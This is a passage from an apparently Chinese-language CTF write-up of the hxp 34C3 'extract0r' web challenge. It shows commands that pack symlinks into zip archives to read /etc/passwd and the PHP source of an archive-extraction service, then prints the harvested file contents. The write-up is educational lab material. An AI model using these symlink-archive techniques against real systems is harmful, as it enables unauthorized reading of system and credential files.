extract0r
– A web challenge from hxp 34C3 CTF
https://ctftime.org/event/544
题目部署
本地搭建:
https://github.com/shimmeris/CTF-Web-Challenges/tree/master/SSRF/34c3-2017-extract0r
在34c3-2017-extract0r目录下执行:
chmod 777 build run
./build
./run
访问127.0.0.1:8013
题目分析
这道题可以看到是一个“安全的文件解压服务”,没有文件上传功能,但是可以输入压缩包的URL,这个服务会帮你解压并且把解压后文件放置在一个随机哈希值的目录下。
压缩包我统一放到了我github的仓库里,这样就有下载直链了。
访问http://157.245.169.152:8013/index.php,还是跳转到刚刚的页面,说明网站是用php写的。按照一般的思路,我们把木马压在压缩包里然后上传。php无法正确解析的话,因为是Apache服务器,就先上传一个.htaccess,这样来拿shell。不过经过试验发现这些都是不行的。因为Apache的配置文件里AllowOverride None
,所以.htaccess无效。
但是压缩包里其实可以藏一个软链接,这样的话可以把特定文件像个钩子一样勾出来,实现任意文件读取。
比如说这样:
ln -s /etc/passwd passwd
zip --symlinks passwd.zip passwd
首先创建一个指向/etc/passwd的软链接,文件名为passwd,然后将这个文件压缩到zip里。
我们测试一下:
提示Done。再来访问:
/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
extract0r:x:1000:1000::/home/extract0r:
可以看到/etc/passwd已经被我们勾出来了。
所以接下来我们看看能不能把源码勾出来,先勾/var/www/html/index.php
。
ln -s /var/www/html/index.php index
zip --symlinks index.zip index
index.php
<?php
session_start();
include "url.php";
function get_directory($new=false) {
if (!isset($_SESSION["directory"]) || $new) {
$_SESSION["directory"] = "files/" . sha1(random_bytes(100));
}
$directory = $_SESSION["directory"];
if (!is_dir($directory)) {
mkdir($directory);
}
return $directory;
}
function clear_directory() {
$dir = get_directory();
$files = glob($dir . '/*');
foreach($files as $file) {
if(is_file($file) || is_link($file)) {
unlink($file);
} else if (is_dir($file)) {
rmdir($file);
}
}
}
function verify_archive($path) {
$res = shell_exec("7z l " . escapeshellarg($path) . " -slt");
$line = strtok($res, "\n");
$file_cnt = 0;
$total_size = 0;
while ($line !== false) {
preg_match("/^Size = ([0-9]+)/", $line, $m);
if ($m) {
$file_cnt++;
$total_size += (int)$m[1];
}
$line = strtok( "\n" );
}
if ($total_size === 0) {
return "Archive's size 0 not supported";
}
if ($total_size > 1024*10) {
return "Archive's total uncompressed size exceeds 10KB";
}
if ($file_cnt === 0) {
return "Archive is empty";
}
if ($file_cnt > 5) {
return "Archive contains more than 5 files";
}
return 0;
}
function verify_extracted($directory) {
$files = glob($directory . '/*');
$cntr = 0;
foreach($files as $file) {
if (!is_file($file)) {
$cntr++;
unlink($file);
@rmdir($file);
}
}
return $cntr;
}
function decompress($s) {
$directory = get_directory(true);
$archive = tempnam("/tmp", "archive_");
file_put_contents($archive, $s);
$error = verify_archive($archive);
if ($error) {
unlink($archive);
error($error);
}
shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");
unlink($archive);
return verify_extracted($directory);
}
function error($s) {
clear_directory();
die("<h2><b>ERROR</b></h2> " . htmlspecialchars($s));
}
$msg = "";
if (isset($_GET["url"])) {
$page = get_contents($_GET["url"]);
if (strlen($page) === 0) {
error("0 bytes fetched. Looks like your file is empty.");
} else {
$deleted_dirs = decompress($page);
$msg = "<h3>Done!</h3> Your files were extracted if you provided a valid archive.";
if ($deleted_dirs > 0